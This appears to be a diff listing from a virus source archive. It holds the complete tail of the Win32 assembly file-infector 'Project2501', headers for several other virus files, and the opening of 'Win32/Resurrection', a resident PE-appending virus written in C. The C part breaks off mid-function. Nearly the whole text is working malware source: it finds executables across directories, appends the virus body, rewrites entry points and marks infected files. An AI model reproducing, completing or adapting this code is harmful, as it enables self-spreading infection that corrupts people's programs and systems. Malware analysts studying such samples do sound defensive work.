||||
mov eax,dword ptr [ebp+kernelpeheader]
|
||||
mov esi,dword ptr [eax+78h]
|
||||
add esi,dword ptr [ebp+kernelbase]
|
||||
add esi,1ch
|
||||
mov eax,dword ptr [esi]
|
||||
add eax,dword ptr [ebp+kernelbase]
|
||||
mov dword ptr [ebp+adress_table_VA],eax
|
||||
add esi,4
|
||||
mov eax,dword ptr [esi]
|
||||
add eax,dword ptr [ebp+kernelbase]
|
||||
mov dword ptr [ebp+name_table_VA],eax
|
||||
add esi,4
|
||||
mov eax,dword ptr [esi]
|
||||
add eax,dword ptr [ebp+kernelbase]
|
||||
mov dword ptr [ebp+ordinal_table_VA],eax
|
||||
mov esi,dword ptr [ebp+name_table_VA]
|
||||
mov dword ptr [ebp+apicounter],00000000h
|
||||
find_the_name:
|
||||
push esi
|
||||
mov eax,dword ptr [esi]
|
||||
add eax,dword ptr [ebp+kernelbase]
|
||||
mov esi,eax
|
||||
mov edi,dword ptr [ebp+apinameoffset]
|
||||
mov ecx,0
|
||||
mov cl,byte ptr [ebp+apilenght]
|
||||
cld
|
||||
rep cmpsb
|
||||
jz we_found_it
|
||||
pop esi
|
||||
add esi,4
|
||||
inc dword ptr [ebp+apicounter]
|
||||
jmp find_the_name
|
||||
we_found_it:
|
||||
pop esi ;taken from BillyBel
|
||||
mov eax,dword ptr [ebp+apicounter]
|
||||
shl eax,1
|
||||
add eax,dword ptr [ebp+ordinal_table_VA]
|
||||
mov esi,0
|
||||
xchg eax,esi
|
||||
lodsw
|
||||
shl eax,2
|
||||
add eax,dword ptr [ebp+adress_table_VA]
|
||||
mov esi,eax
|
||||
lodsd
|
||||
add eax,dword ptr [ebp+kernelbase]
|
||||
mov ecx,dword ptr [ebp+putitthere]
|
||||
mov dword ptr [ecx],eax
|
||||
ret
|
||||
|
||||
find_apis endp
|
||||
|
||||
find_all_apis proc
|
||||
lea eax,[ebp+offset ExitProcess]
|
||||
push eax
|
||||
push dword ptr [ebp+exitprocesslenght]
|
||||
lea eax,[ebp+offset _ExitProcess]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset FindFirstFileA]
|
||||
push eax
|
||||
push dword ptr [ebp+findfirstfilelenght]
|
||||
lea eax,[ebp+offset _FindFirstFileA]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset FindNextFileA]
|
||||
push eax
|
||||
push dword ptr [ebp+findnextfilelenght]
|
||||
lea eax,[ebp+offset _FindNextFileA]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset CreateFileA]
|
||||
push eax
|
||||
push dword ptr [ebp+createfilelenght]
|
||||
lea eax,[ebp+offset _CreateFileA]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset CloseHandle]
|
||||
push eax
|
||||
push dword ptr [ebp+closehandlelenght]
|
||||
lea eax,[ ebp+offset _CloseHandle]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset CreateFileMappingA]
|
||||
push eax
|
||||
push dword ptr [ebp+createfilemappinglenght]
|
||||
lea eax,[ebp+offset _CreateFileMappingA]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset MapViewOfFile]
|
||||
push eax
|
||||
push dword ptr [ebp+mapviewoffilelenght]
|
||||
lea eax,[ebp+offset _MapViewOfFile]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset UnmapViewOfFile]
|
||||
push eax
|
||||
push dword ptr [ebp+unmapviewoffilelenght]
|
||||
lea eax,[ebp+offset _UnmapViewOfFile]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset GetFileSize]
|
||||
push eax
|
||||
push dword ptr [ebp+getfilesizelenght]
|
||||
lea eax,[ebp+offset _GetFileSize]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset SetFilePointer]
|
||||
push eax
|
||||
push dword ptr [ebp+setfilepointerlenght]
|
||||
lea eax,[ebp+offset _SetFilePointer]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset SetEndOfFile]
|
||||
push eax
|
||||
push dword ptr [ebp+setendoffilelenght]
|
||||
lea eax,[ebp+offset _SetEndOfFile]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset SetCurrentDirectoryA]
|
||||
push eax
|
||||
push dword ptr [ebp+setcurrentdirectorylenght]
|
||||
lea eax,[ebp+offset _SetCurrentDirectoryA]
|
||||
push eax
|
||||
call find_apis
|
||||
lea eax,[ebp+offset CreateDirectoryA]
|
||||
push eax
|
||||
push dword ptr [ebp+createdirectorylenght]
|
||||
lea eax,[ebp+offset _CreateDirectoryA]
|
||||
push eax
|
||||
call find_apis
|
||||
ret
|
||||
find_all_apis endp
|
||||
|
||||
seek_and_destroy proc
|
||||
find_first_file:
|
||||
mov byte ptr [ebp+infection_flag],0
|
||||
lea eax,[ebp+offset FindFileData]
|
||||
push eax
|
||||
lea eax,[ebp+offset tosearch]
|
||||
push eax
|
||||
call [ebp+FindFirstFileA]
|
||||
mov dword ptr [ebp+findfilehandle],eax
|
||||
inc eax
|
||||
jz no_files_left
|
||||
jmp open_the_file
|
||||
find_next_file:
|
||||
mov byte ptr [ebp+infection_flag],0
|
||||
lea eax,[ebp+offset FindFileData]
|
||||
push eax
|
||||
push dword ptr [ebp+findfilehandle]
|
||||
call [ebp+FindNextFileA]
|
||||
test eax,eax
|
||||
jz no_files_left
|
||||
open_the_file:
|
||||
push 0
|
||||
push 0
|
||||
push 3
|
||||
push 0
|
||||
push 1
|
||||
push 80000000h + 40000000h
|
||||
lea eax,[ebp+offset FindFileData.cFileName]
|
||||
push eax
|
||||
call [ebp+CreateFileA]
|
||||
cmp eax,0ffffffffh
|
||||
je find_next_file
|
||||
mov dword ptr [ebp+filehandle],eax
|
||||
push 0
|
||||
push dword ptr [ebp+filehandle]
|
||||
Call [ebp+GetFileSize]
|
||||
calculate_new_size:
|
||||
mov dword ptr [ebp+thefilesize],eax
|
||||
add eax,virus_end-start
|
||||
add eax,100
|
||||
now_make_file_mapping:
|
||||
push 0
|
||||
push eax
|
||||
push 0
|
||||
push 4
|
||||
push 0
|
||||
push dword ptr [ebp+filehandle]
|
||||
call [ebp+CreateFileMappingA]
|
||||
mov dword ptr [ebp+filemappinghandle],eax
|
||||
mov eax,dword ptr [ebp+thefilesize]
|
||||
add eax,virus_end-start
|
||||
add eax,100
|
||||
push eax
|
||||
push 0
|
||||
push 0
|
||||
push 2
|
||||
push dword ptr [ebp+filemappinghandle]
|
||||
call [ebp+MapViewOfFile]
|
||||
mov dword ptr [ebp+mapadress],eax
|
||||
cmp word ptr [eax],'ZM'
|
||||
jne search_another
|
||||
mov ebx,0
|
||||
mov bx,word ptr [eax+3ch]
|
||||
cmp word ptr [eax+ebx],'EP'
|
||||
jne search_another
|
||||
cmp word ptr [eax+38h],'AA'
|
||||
je search_another
|
||||
call infect_file
|
||||
search_another:
|
||||
cmp byte ptr [ebp+infection_flag],1
|
||||
je close_normal
|
||||
call close_not_normal
|
||||
close_normal:
|
||||
push dword ptr [ebp+mapadress]
|
||||
call [ebp+UnmapViewOfFile]
|
||||
push dword ptr [ebp+filemappinghandle]
|
||||
call [ebp+CloseHandle]
|
||||
push dword ptr [ebp+filehandle]
|
||||
call [ebp+CloseHandle]
|
||||
jmp find_next_file
|
||||
|
||||
no_files_left:
|
||||
cmp byte ptr [ebp+am_i_up],1
|
||||
je go_down
|
||||
lea eax,[ebp+offset FindFileData]
|
||||
push eax
|
||||
lea eax,[ebp+offset allfiles]
|
||||
push eax
|
||||
call [ebp+FindFirstFileA]
|
||||
mov dword ptr [ebp+dir_search_handle],eax
|
||||
inc eax
|
||||
jz no_dirs_left
|
||||
cmp byte ptr [ebp+FindFileData.cFileName],'.'
|
||||
je find_next_dir
|
||||
jmp is_it_dir
|
||||
find_next_dir:
|
||||
lea eax,[ebp+offset FindFileData]
|
||||
push eax
|
||||
push dword ptr [ebp+dir_search_handle]
|
||||
call [ebp+FindNextFileA]
|
||||
test eax,eax
|
||||
jz no_dirs_left
|
||||
cmp byte ptr [ebp+FindFileData.cFileName],'.'
|
||||
je find_next_dir
|
||||
is_it_dir:
|
||||
cmp dword ptr [ebp+FindFileData.dwFileAttributes],10h
|
||||
je it_is_dir
|
||||
jmp find_next_dir
|
||||
it_is_dir:
|
||||
lea eax,[ebp+FindFileData.cFileName]
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA]
|
||||
mov byte ptr [ebp+am_i_up],1
|
||||
jmp find_first_file
|
||||
no_dirs_left:
|
||||
lea eax,[ebp+offset dotdot]
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA]
|
||||
add byte ptr [ebp+dir_counter],1
|
||||
cmp byte ptr [ebp+dir_counter],5
|
||||
je all_for_now
|
||||
mov byte ptr [ebp+am_i_up],0
|
||||
jmp find_first_file
|
||||
all_for_now:
|
||||
ret
|
||||
go_down:
|
||||
lea eax,[ebp+offset dotdot]
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA]
|
||||
mov byte ptr [ebp+am_i_up],0
|
||||
jmp find_next_dir
|
||||
seek_and_destroy endp
|
||||
|
||||
close_not_normal proc
|
||||
push 0
|
||||
push 0
|
||||
push dword ptr [ebp+thefilesize]
|
||||
push dword ptr [ebp+filehandle]
|
||||
call [ebp+SetFilePointer]
|
||||
push dword ptr [ebp+filehandle]
|
||||
call [ebp+SetEndOfFile]
|
||||
ret
|
||||
close_not_normal endp
|
||||
|
||||
infect_file proc
|
||||
mov byte ptr [ebp+infection_flag],1
|
||||
mov eax,dword ptr [ebp+mapadress]
|
||||
mov word ptr [eax+38h],'AA'
|
||||
mov edi,0
|
||||
mov di,word ptr [eax+3ch]
|
||||
add eax,edi ;peheader at eax
|
||||
mov dword ptr [ebp+peheader_offset],eax
|
||||
mov esi,dword ptr [eax+28h]
|
||||
mov dword ptr [ebp+old_entry_point],esi
|
||||
mov esi,dword ptr [eax+3ch]
|
||||
mov dword ptr [ebp+file_allign],esi
|
||||
mov esi,dword ptr [eax+34h]
|
||||
mov dword ptr [ebp+image_base],esi
|
||||
mov esi,eax
|
||||
go_to_last_section:
|
||||
mov ebx,dword ptr [esi+74h]
|
||||
shl ebx,3
|
||||
mov eax,0
|
||||
mov ax,word ptr [esi+6h]
|
||||
dec eax
|
||||
mov ecx,28h
|
||||
mul ecx
|
||||
add esi,78h
|
||||
add esi,ebx
|
||||
add esi,eax
|
||||
|
||||
modify_it:
|
||||
or dword ptr [esi+24h],00000020h
|
||||
or dword ptr [esi+24h],20000000h
|
||||
or dword ptr [esi+24h],80000000h
|
||||
mov eax, [esi+10h] ;code taken from Lord Julus (im not good in math)
|
||||
mov dword ptr [ebp+old_raw_size],eax
|
||||
add dword ptr [esi+8h],(offset virus_end - offset start)
|
||||
mov eax,dword ptr [esi+8h]
|
||||
mov ecx,dword ptr [ebp+file_allign]
|
||||
div ecx
|
||||
mov ecx,dword ptr [ebp+file_allign]
|
||||
sub ecx,edx
|
||||
mov dword ptr [esi+10h],eax
|
||||
mov eax,dword ptr [esi+8h]
|
||||
add eax,dword ptr [esi+10h]
|
||||
mov dword ptr [esi+10h],eax
|
||||
mov dword ptr [ebp+new_raw_size],eax
|
||||
mov eax,dword ptr [esi+0ch]
|
||||
add eax,dword ptr [esi+8h]
|
||||
sub eax,(offset virus_end-offset start)
|
||||
mov dword ptr [ebp+new_entry],eax
|
||||
mov eax,dword ptr [ebp+old_raw_size]
|
||||
mov ebx,dword ptr [ebp+new_raw_size]
|
||||
sub ebx,eax
|
||||
mov dword ptr [ebp+inc_raw_size],ebx
|
||||
mov eax,dword ptr [esi+14h]
|
||||
add eax,dword ptr [ebp+new_raw_size]
|
||||
mov dword ptr [ebp+new_file_size],eax
|
||||
mov eax,dword ptr [esi+14h]
|
||||
add eax,dword ptr [esi+8]
|
||||
sub eax,(offset virus_end-offset start)
|
||||
add eax,dword ptr [ebp+mapadress]
|
||||
mov edi,eax
|
||||
lea esi,[ebp+offset start]
|
||||
mov ecx,(offset virus_end-offset start)
|
||||
rep movsb
|
||||
mov esi,dword ptr [ebp+peheader_offset]
|
||||
mov eax,dword ptr [ebp+new_entry]
|
||||
mov dword ptr [esi+28h],eax
|
||||
mov eax,dword ptr [ebp+inc_raw_size]
|
||||
add dword ptr [esi+50h],eax
|
||||
ret
|
||||
infect_file endp
|
||||
|
||||
payload proc
|
||||
push 0
|
||||
lea eax,[ebp+offset dir_name]
|
||||
push eax
|
||||
call [ebp+CreateDirectoryA]
|
||||
ret
|
||||
payload endp
|
||||
|
||||
new_file_size dd 0
|
||||
inc_raw_size dd 0
|
||||
new_entry dd 0
|
||||
new_raw_size dd 0
|
||||
old_raw_size dd 0
|
||||
file_allign dd 0
|
||||
peheader_offset dd 0
|
||||
image_base dd 0
|
||||
old_entry_point dd 0
|
||||
image_base2 dd 0
|
||||
old_entry_point2 dd 0
|
||||
|
||||
kernelbase dd 0
|
||||
kernelpeheader dd 0
|
||||
adress_table_VA dd 0
|
||||
name_table_VA dd 0
|
||||
ordinal_table_VA dd 0
|
||||
apicounter dd 00000000h
|
||||
apinameoffset dd 0
|
||||
apilenght dd 0
|
||||
putitthere dd 0
|
||||
|
||||
ExitProcess dd 00000000h
|
||||
_ExitProcess db 'ExitProcess',0
|
||||
exitprocesslenght dd 12
|
||||
FindFirstFileA dd 00000000h
|
||||
_FindFirstFileA db 'FindFirstFileA',0
|
||||
findfirstfilelenght dd 15
|
||||
FindNextFileA dd 00000000h
|
||||
_FindNextFileA db 'FindNextFileA',0
|
||||
findnextfilelenght dd 14
|
||||
CreateFileA dd 00000000h
|
||||
_CreateFileA db 'CreateFileA',0
|
||||
createfilelenght dd 12
|
||||
CloseHandle dd 00000000h
|
||||
_CloseHandle db 'CloseHandle',0
|
||||
closehandlelenght dd 12
|
||||
CreateFileMappingA dd 00000000h
|
||||
_CreateFileMappingA db 'CreateFileMappingA',0
|
||||
createfilemappinglenght dd 19
|
||||
MapViewOfFile dd 00000000h
|
||||
_MapViewOfFile db 'MapViewOfFile',0
|
||||
mapviewoffilelenght db 14
|
||||
UnmapViewOfFile dd 00000000h
|
||||
_UnmapViewOfFile db 'UnmapViewOfFile',0
|
||||
unmapviewoffilelenght dd 16
|
||||
GetFileSize dd 00000000h
|
||||
_GetFileSize db 'GetFileSize',0
|
||||
getfilesizelenght dd 12
|
||||
SetEndOfFile dd 00000000h
|
||||
_SetEndOfFile db 'SetEndOfFile',0
|
||||
setendoffilelenght dd 13
|
||||
SetFilePointer dd 00000000h
|
||||
_SetFilePointer db 'SetFilePointer',0
|
||||
setfilepointerlenght dd 15
|
||||
SetCurrentDirectoryA dd 0
|
||||
_SetCurrentDirectoryA db 'SetCurrentDirectoryA',0
|
||||
setcurrentdirectorylenght dd 21
|
||||
CreateDirectoryA dd 0
|
||||
_CreateDirectoryA db 'CreateDirectoryA',0
|
||||
createdirectorylenght dd 17
|
||||
|
||||
mapadress dd 0
|
||||
infection_flag db 0
|
||||
|
||||
tosearch db '*.EXE',0
|
||||
findfilehandle dd 0
|
||||
filehandle dd 0
|
||||
thefilesize dd 0
|
||||
filemappinghandle dd 0
|
||||
credit db 'Project2501 was coded by BeLiAL'
|
||||
db 'Greetings to a nice girl from scandinavia'
|
||||
dotdot db '..',0
|
||||
allfiles db '*.*',0
|
||||
dir_search_handle dd 0
|
||||
am_i_up db 0
|
||||
dir_name db 'c:\windows\desktop\Project2501',0
|
||||
dir_counter db 0
|
||||
|
||||
MAX_PATH EQU 260
|
||||
FILETIME struct
|
||||
dwLowDateTime DWORD ?
|
||||
dwHighDateTime DWORD ?
|
||||
FILETIME ends
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes DWORD ?
|
||||
ftCreationTime FILETIME <>
|
||||
ftLastAccessTime FILETIME <>
|
||||
ftLastWriteTime FILETIME <>
|
||||
nFileSizeHigh DWORD ?
|
||||
nFileSizeLow DWORD ?
|
||||
dwReserved0 DWORD ?
|
||||
dwReserved1 DWORD ?
|
||||
cFileName BYTE MAX_PATH dup(?)
|
||||
cAlternate BYTE 0eh dup(?)
|
||||
ends
|
||||
FindFileData WIN32_FIND_DATA <>
|
||||
|
||||
virus_end:
|
||||
end start
|
||||
|
1820
Win32/Win32.Rainsong.asm
Normal file
1820
Win32/Win32.Rainsong.asm
Normal file
File diff suppressed because it is too large
Load Diff
10504
Win32/Win32.Rammstien.asm
Normal file
10504
Win32/Win32.Rammstien.asm
Normal file
File diff suppressed because it is too large
Load Diff
1830
Win32/Win32.Redemption.9216.asm
Normal file
1830
Win32/Win32.Redemption.9216.asm
Normal file
File diff suppressed because it is too large
Load Diff
704
Win32/Win32.Resurrection.asm
Normal file
704
Win32/Win32.Resurrection.asm
Normal file
@ -0,0 +1,704 @@
|
||||
////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Win32/Resurrection
|
||||
//
|
||||
// Coded in late June'99/July'99/[VX vacations]/December'99
|
||||
//
|
||||
// (c)1999 Tcp/29A (tcp@cryogen.com)
|
||||
//
|
||||
// This is my 1st Windows virus (at last:) and the first coded by
|
||||
// me in the last 2 years.
|
||||
//
|
||||
// It is a PE memory resident appending virus fully written in C.
|
||||
// I think it's the first virus written in C that doesn't change
|
||||
// the NewExe pointer.
|
||||
// It could be also the 1st resident virus for Alpha machines running
|
||||
// NT. If you can compile and test it in Alpha, please send me a mail.
|
||||
//
|
||||
//
|
||||
// How the virus work?
|
||||
// - It creates a low priority thread that searchs and infects files.
|
||||
// - It adds its sections reading them from memory, relocates the
|
||||
// code/data and fixes the relocs (then the virus needs always
|
||||
// its own reloc section).
|
||||
// It imports the host import section, replacing the ExitProcess
|
||||
// call to ExitThread; then the virus will be the main thread and
|
||||
// it can continue searching for files even when host has finnished.
|
||||
// - If the file's last section is the reloc section, the virus
|
||||
// joins this section with its reloc section so if the file is
|
||||
// not loaded at its preferred address the system will reloc it
|
||||
// and the virus.
|
||||
//
|
||||
// The virus is called Resurrection because it's my resurrection in
|
||||
// the VX scene.
|
||||
// Unfortunately, I hadn't time to code the Resurrection payload:
|
||||
// using OLE automation and the C:\CLASS.SYS from W97M/Class (or
|
||||
// the one from Ethan) it could resurrect the virus.
|
||||
// Then I coded a simple payload that changes the captions in
|
||||
// MessageBoxes used by the host.
|
||||
//
|
||||
// Sorry for the obfuscated C and poorly optimized code, but it
|
||||
// works (i hope) and, hey, it's a virus :)
|
||||
//
|
||||
// This virus is dedicated to Jacky Qwerty, we'll miss you. And to
|
||||
// 29Aers for don't kicking a lazy and improductive member as I am ;)
|
||||
//
|
||||
// Well, now i got another 2 years credit hahaha (not!)
|
||||
//
|
||||
// Tcp.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
/////////////
|
||||
// Includes
|
||||
/////////////
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
/////////////////////
|
||||
// Defines
|
||||
/////////////////////
|
||||
|
||||
#define MEMALLOC(x) GlobalAlloc(GPTR, x)
|
||||
#define MEMFREE(x) GlobalFree(x)
|
||||
|
||||
|
||||
/////////////////////
|
||||
// Type definitions
|
||||
/////////////////////
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD RelocOfs : 12;
|
||||
WORD RelocType: 4;
|
||||
} IMAGE_RELOCATION_DATA;
|
||||
|
||||
////////////
|
||||
// Globals
|
||||
////////////
|
||||
IMAGE_NT_HEADERS PEHeader;
|
||||
IMAGE_DOS_HEADER * IDosHeader;
|
||||
IMAGE_NT_HEADERS * IPEHeader;
|
||||
IMAGE_SECTION_HEADER * ISection;
|
||||
IMAGE_SECTION_HEADER * Section = NULL;
|
||||
int Generation = 1;
|
||||
int VirusSections = 0;
|
||||
int FirstVirusSection = 0;
|
||||
int VirusCodeSection = 0;
|
||||
int VirusImportSection = 0;
|
||||
DWORD VirusImportSize = 0;
|
||||
DWORD VirusRVAImports = 0;
|
||||
DWORD HostRVAImports = 0;
|
||||
int VirusRelocSection = 0;
|
||||
DWORD VirusRelocSize = 0;
|
||||
DWORD VirusRelocSizeDir = 0;
|
||||
DWORD OfsSections = 0;
|
||||
DWORD VirusBaseRVA = 0;
|
||||
DWORD VirusEP = 0;
|
||||
DWORD HostEP = 0;
|
||||
|
||||
//// Fix for Visual C 5.0 heap
|
||||
//extern __small_block_heap;
|
||||
|
||||
|
||||
|
||||
//////////////
|
||||
// Functions
|
||||
//////////////
|
||||
|
||||
|
||||
/////////////////////////////////////
|
||||
// GetProcAddress for ordinal imports
|
||||
/////////////////////////////////////
|
||||
DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)
|
||||
{
|
||||
IMAGE_NT_HEADERS * DLLHeader;
|
||||
IMAGE_EXPORT_DIRECTORY * Exports;
|
||||
DWORD * AddrFunctions;
|
||||
|
||||
DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew);
|
||||
Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
AddrFunctions = (DWORD *)(Base + Exports->AddressOfFunctions);
|
||||
return Base + AddrFunctions[NFunc - Exports->Base];
|
||||
}
|
||||
|
||||
|
||||
|
||||
//////////////////////////////////
|
||||
// Check file and read PE header
|
||||
//////////////////////////////////
|
||||
int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)
|
||||
{
|
||||
IMAGE_DOS_HEADER FileHeader;
|
||||
WORD SizeSections;
|
||||
DWORD BytesRead;
|
||||
|
||||
return
|
||||
( // Read file header
|
||||
( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )
|
||||
&&
|
||||
( BytesRead == sizeof(IMAGE_DOS_HEADER) )
|
||||
&& // Check if EXE file
|
||||
( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )
|
||||
&& // Seek to NewExe header
|
||||
( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )
|
||||
&& // Read header
|
||||
( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )
|
||||
&&
|
||||
( BytesRead == sizeof(IMAGE_NT_HEADERS) )
|
||||
&& // Check if PE file
|
||||
( PEHeader.Signature == IMAGE_NT_SIGNATURE )
|
||||
&& // Alloc memory for file sections + virus sections
|
||||
( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) )
|
||||
&&
|
||||
( (Section = MEMALLOC(SizeSections)) != NULL )
|
||||
&&
|
||||
( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )
|
||||
&& // Read PE sections
|
||||
( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )
|
||||
&&
|
||||
( BytesRead == SizeSections )
|
||||
&& // Check if there is enough room for our sections
|
||||
( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )
|
||||
&& // Only infect when entry point belongs to 1st section
|
||||
// Avoid reinfections and compressors (usually perform virus checks)
|
||||
( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData )
|
||||
&& // Skip DDLs
|
||||
( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )
|
||||
&& // Skip files with overlays or not aligned to file alignment
|
||||
( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
|
||||
&& //Check if the host will overwrite our code with its unitialized data (not present in disk)
|
||||
( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
|
||||
///////////////////////////////////////
|
||||
// Translates a RVA into a file offset
|
||||
///////////////////////////////////////
|
||||
DWORD RVA2Ofs(DWORD rva)
|
||||
{
|
||||
int NSect;
|
||||
|
||||
NSect = 0;
|
||||
while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )
|
||||
{
|
||||
if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva )
|
||||
break;
|
||||
NSect++;
|
||||
}
|
||||
return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));
|
||||
}
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////
|
||||
// I can't remember what this function does
|
||||
////////////////////////////////////////////
|
||||
void InfectFile(HANDLE FHandle)
|
||||
{
|
||||
BYTE * Relocations = NULL;
|
||||
BYTE * HostRelocs = NULL;
|
||||
BYTE * Ptr;
|
||||
IMAGE_BASE_RELOCATION * RelocBlock;
|
||||
IMAGE_RELOCATION_DATA * PtrReloc;
|
||||
int j;
|
||||
|
||||
// Let's do some initializations
|
||||
Section = NULL;
|
||||
Relocations = NULL;
|
||||
HostRelocs = NULL;
|
||||
Ptr = NULL;
|
||||
|
||||
if (ReadPEHeader(FHandle))
|
||||
{
|
||||
DWORD SectionRVA;
|
||||
int HostNSections;
|
||||
DWORD HostRelocsSize;
|
||||
DWORD BytesRead;
|
||||
int i;
|
||||
|
||||
HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;
|
||||
HostNSections = PEHeader.FileHeader.NumberOfSections;
|
||||
|
||||
HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
|
||||
// Search for victim import section
|
||||
for (i=0; i<HostNSections; i++)
|
||||
{
|
||||
if (Section[i].VirtualAddress + Section[i].SizeOfRawData > HostRVAImports)
|
||||
{
|
||||
// Do it writable
|
||||
Section[i].Characteristics |= IMAGE_SCN_MEM_WRITE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Check if last section is .reloc
|
||||
HostRelocsSize = 0;
|
||||
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress)
|
||||
{
|
||||
// Then we'll join it to virus reloc section
|
||||
VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress;
|
||||
if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL)
|
||||
{
|
||||
goto L_Exit_Infect;
|
||||
}
|
||||
else // Read the .reloc section
|
||||
{
|
||||
HostNSections--;
|
||||
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
|
||||
ReadFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
|
||||
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
|
||||
}
|
||||
}
|
||||
else // There is no .reloc or it is not the last section
|
||||
{
|
||||
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
|
||||
{ // There are relocs but we didn't find them, so exit
|
||||
goto L_Exit_Infect;
|
||||
}
|
||||
VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage;
|
||||
SetFilePointer(FHandle, 0, NULL, FILE_END);
|
||||
}
|
||||
|
||||
FirstVirusSection = HostNSections;
|
||||
// Add virus section table
|
||||
CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections);
|
||||
|
||||
// Reloc virus code & fix reloc sections
|
||||
if ((Relocations = MEMALLOC((VirusRelocSize > 0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page
|
||||
{
|
||||
goto L_Exit_Infect;
|
||||
}
|
||||
CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize);
|
||||
|
||||
RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations;
|
||||
PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));
|
||||
|
||||
// Reloc all virus sections and write them to disk
|
||||
for (i=0; i<VirusSections; i++)
|
||||
{
|
||||
DWORD RelocsInBlock;
|
||||
|
||||
Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT);
|
||||
Section[HostNSections + i].VirtualAddress = SectionRVA;
|
||||
Section[HostNSections + i].SizeOfRawData = (ISection[i].SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment);
|
||||
|
||||
if (i == VirusRelocSection) // Virus reloc section?
|
||||
{
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize;
|
||||
Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize;
|
||||
Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment);
|
||||
// Write host relocations
|
||||
WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
|
||||
// Add virus relocations
|
||||
